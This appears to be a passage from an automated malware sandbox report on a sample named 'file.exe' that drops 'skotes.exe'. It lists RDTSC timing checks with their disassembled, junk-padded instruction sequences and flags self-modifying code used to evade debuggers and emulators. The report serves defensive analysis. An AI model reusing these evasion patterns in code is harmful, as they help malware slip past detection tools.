Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE02CD second address: 4BE02FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F61C0D2D454h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F61C0D2D44Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE02FB second address: 4BE032E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F61C0BD0391h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f jmp 00007F61C0BD038Dh 0x00000014 mov eax, dword ptr [76FB65FCh] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE032E second address: 4BE0334 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0334 second address: 4BE03AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F61C0BD0390h 0x00000009 and ecx, 29B60D08h 0x0000000f jmp 00007F61C0BD038Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F61C0BD0398h 0x0000001b jmp 00007F61C0BD0395h 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 test eax, eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F61C0BD0398h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE03AA second address: 4BE03AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE03AE second address: 4BE03B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE03B4 second address: 4BE041D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dl, al 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F62330809EEh 0x00000010 pushad 0x00000011 jmp 00007F61C0D2D44Bh 0x00000016 mov cx, 451Fh 0x0000001a popad 0x0000001b mov ecx, eax 0x0000001d jmp 00007F61C0D2D452h 0x00000022 xor eax, dword ptr [ebp+08h] 0x00000025 jmp 00007F61C0D2D451h 0x0000002a and ecx, 1Fh 0x0000002d pushad 0x0000002e mov ax, 2393h 0x00000032 mov eax, 778565EFh 0x00000037 popad 0x00000038 ror eax, cl 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F61C0D2D44Ch 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE041D second address: 4BE0421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0421 second address: 4BE0427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0427 second address: 4BE0440 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0440 second address: 4BE0444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0444 second address: 4BE0461 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0399h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0461 second address: 4BE0466 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0466 second address: 4BE04EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, ax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a retn 0004h 0x0000000d nop 0x0000000e mov esi, eax 0x00000010 lea eax, dword ptr [ebp-08h] 0x00000013 xor esi, dword ptr [002C2014h] 0x00000019 push eax 0x0000001a push eax 0x0000001b push eax 0x0000001c lea eax, dword ptr [ebp-10h] 0x0000001f push eax 0x00000020 call 00007F61C5530739h 0x00000025 push FFFFFFFEh 0x00000027 jmp 00007F61C0BD0394h 0x0000002c pop eax 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F61C0BD038Eh 0x00000034 add ax, DB38h 0x00000039 jmp 00007F61C0BD038Bh 0x0000003e popfd 0x0000003f pushfd 0x00000040 jmp 00007F61C0BD0398h 0x00000045 sbb ah, FFFFFF98h 0x00000048 jmp 00007F61C0BD038Bh 0x0000004d popfd 0x0000004e popad 0x0000004f ret 0x00000050 nop 0x00000051 push eax 0x00000052 call 00007F61C5530794h 0x00000057 mov edi, edi 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F61C0BD0395h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE04EE second address: 4BE0514 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f movzx eax, dx 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0514 second address: 4BE0518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0518 second address: 4BE051E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE051E second address: 4BE0566 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ecx, 2EA1C507h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f movzx esi, dx 0x00000012 pushfd 0x00000013 jmp 00007F61C0BD0395h 0x00000018 sub cx, 68A6h 0x0000001d jmp 00007F61C0BD0391h 0x00000022 popfd 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0566 second address: 4BE056A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE056A second address: 4BE056E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE056E second address: 4BE0574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9002A second address: 4B90046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0398h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90046 second address: 4B90074 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F61C0D2D456h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90074 second address: 4B90078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90078 second address: 4B90095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90095 second address: 4B900CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0391h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c jmp 00007F61C0BD038Eh 0x00000011 xchg eax, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F61C0BD038Dh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B900CD second address: 4B900E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 0A6Eh 0x00000007 mov dl, 5Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B900E0 second address: 4B900E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B900E4 second address: 4B900FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D456h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B900FE second address: 4B90166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov ebx, 471D2A00h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F61C0BD0395h 0x00000016 sub ax, 5C06h 0x0000001b jmp 00007F61C0BD0391h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F61C0BD0390h 0x00000027 add esi, 42035AA8h 0x0000002d jmp 00007F61C0BD038Bh 0x00000032 popfd 0x00000033 popad 0x00000034 xchg eax, ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90166 second address: 4B9016A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9016A second address: 4B90185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0397h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90185 second address: 4B9018B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9018B second address: 4B9018F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9018F second address: 4B901B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F61C0D2D44Eh 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx edi, cx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B901B0 second address: 4B901B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B901B6 second address: 4B901BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B901BA second address: 4B901F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b jmp 00007F61C0BD0393h 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F61C0BD0395h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B901F0 second address: 4B901F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B901F6 second address: 4B901FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B901FA second address: 4B9021A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D453h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9021A second address: 4B9021E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9021E second address: 4B90224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90224 second address: 4B9022A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9022A second address: 4B90254 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F61C0D2D450h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90254 second address: 4B90263 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90263 second address: 4B90269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90269 second address: 4B9026D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9026D second address: 4B902AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c call 00007F61C0D2D44Dh 0x00000011 pushfd 0x00000012 jmp 00007F61C0D2D450h 0x00000017 and ax, 2DA8h 0x0000001c jmp 00007F61C0D2D44Bh 0x00000021 popfd 0x00000022 pop esi 0x00000023 push eax 0x00000024 push edx 0x00000025 mov eax, ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902AD second address: 4B902D0 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007F61C0BD038Ah 0x0000000d mov dword ptr [esp], edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F61C0BD038Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902D0 second address: 4B902D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B902D6 second address: 4B9030A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F61C0BD0390h 0x00000010 je 00007F6232F6E6A1h 0x00000016 pushad 0x00000017 mov dx, si 0x0000001a pushad 0x0000001b movzx esi, di 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9030A second address: 4B9034A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000d jmp 00007F61C0D2D451h 0x00000012 je 00007F62330CB749h 0x00000018 jmp 00007F61C0D2D44Eh 0x0000001d mov edx, dword ptr [esi+44h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov bx, A340h 0x00000027 mov cx, dx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9034A second address: 4B9035F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0BD0391h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9035F second address: 4B903C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b or edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007F61C0D2D44Eh 0x00000013 test edx, 61000000h 0x00000019 pushad 0x0000001a call 00007F61C0D2D44Eh 0x0000001f pushad 0x00000020 popad 0x00000021 pop eax 0x00000022 popad 0x00000023 jne 00007F62330CB72Eh 0x00000029 jmp 00007F61C0D2D44Ah 0x0000002e test byte ptr [esi+48h], 00000001h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F61C0D2D44Ah 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B903C2 second address: 4B903C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B903C8 second address: 4B90402 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F61C0D2D44Ch 0x00000009 xor ecx, 537500A8h 0x0000000f jmp 00007F61C0D2D44Bh 0x00000014 popfd 0x00000015 mov eax, 197D1B9Fh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d jne 00007F62330CB6F5h 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov eax, edx 0x00000028 mov dx, B5EEh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90402 second address: 4B90408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90408 second address: 4B9040C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9040C second address: 4B9042D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test bl, 00000007h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movsx edx, cx 0x00000014 mov di, ax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9042D second address: 4B90433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80789 second address: 4B80798 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80798 second address: 4B8081C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, A1h 0x00000005 pushfd 0x00000006 jmp 00007F61C0D2D450h 0x0000000b xor al, 00000068h 0x0000000e jmp 00007F61C0D2D44Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 movsx edi, cx 0x0000001c mov edi, esi 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 pushad 0x00000021 jmp 00007F61C0D2D458h 0x00000026 pushfd 0x00000027 jmp 00007F61C0D2D452h 0x0000002c sub ecx, 2EC72528h 0x00000032 jmp 00007F61C0D2D44Bh 0x00000037 popfd 0x00000038 popad 0x00000039 mov ebp, esp 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e call 00007F61C0D2D44Bh 0x00000043 pop eax 0x00000044 push edi 0x00000045 pop esi 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8081C second address: 4B80888 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0392h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d mov si, ECCDh 0x00000011 pushfd 0x00000012 jmp 00007F61C0BD038Ah 0x00000017 sbb cx, 39E8h 0x0000001c jmp 00007F61C0BD038Bh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ebx 0x00000024 pushad 0x00000025 mov cx, 38FBh 0x00000029 pushfd 0x0000002a jmp 00007F61C0BD0390h 0x0000002f and esi, 53B8CC48h 0x00000035 jmp 00007F61C0BD038Bh 0x0000003a popfd 0x0000003b popad 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80888 second address: 4B8088C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8088C second address: 4B80892 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80892 second address: 4B80898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80898 second address: 4B808A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B808A7 second address: 4B808AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B808AB second address: 4B808C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0398h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B808C7 second address: 4B808EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F61C0D2D450h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B808EB second address: 4B808FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B808FA second address: 4B80900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80900 second address: 4B80904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80904 second address: 4B8093F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b call 00007F61C0D2D44Ah 0x00000010 pop eax 0x00000011 mov eax, edx 0x00000013 popad 0x00000014 call 00007F61C0D2D457h 0x00000019 mov edi, ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov cl, bl 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8093F second address: 4B80962 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0395h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov dl, al 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2CECE5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2CEDAD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4724C4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2CEC9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 12ECE5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 12EDAD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2D24C4 instructions caused by: Self-modifying code
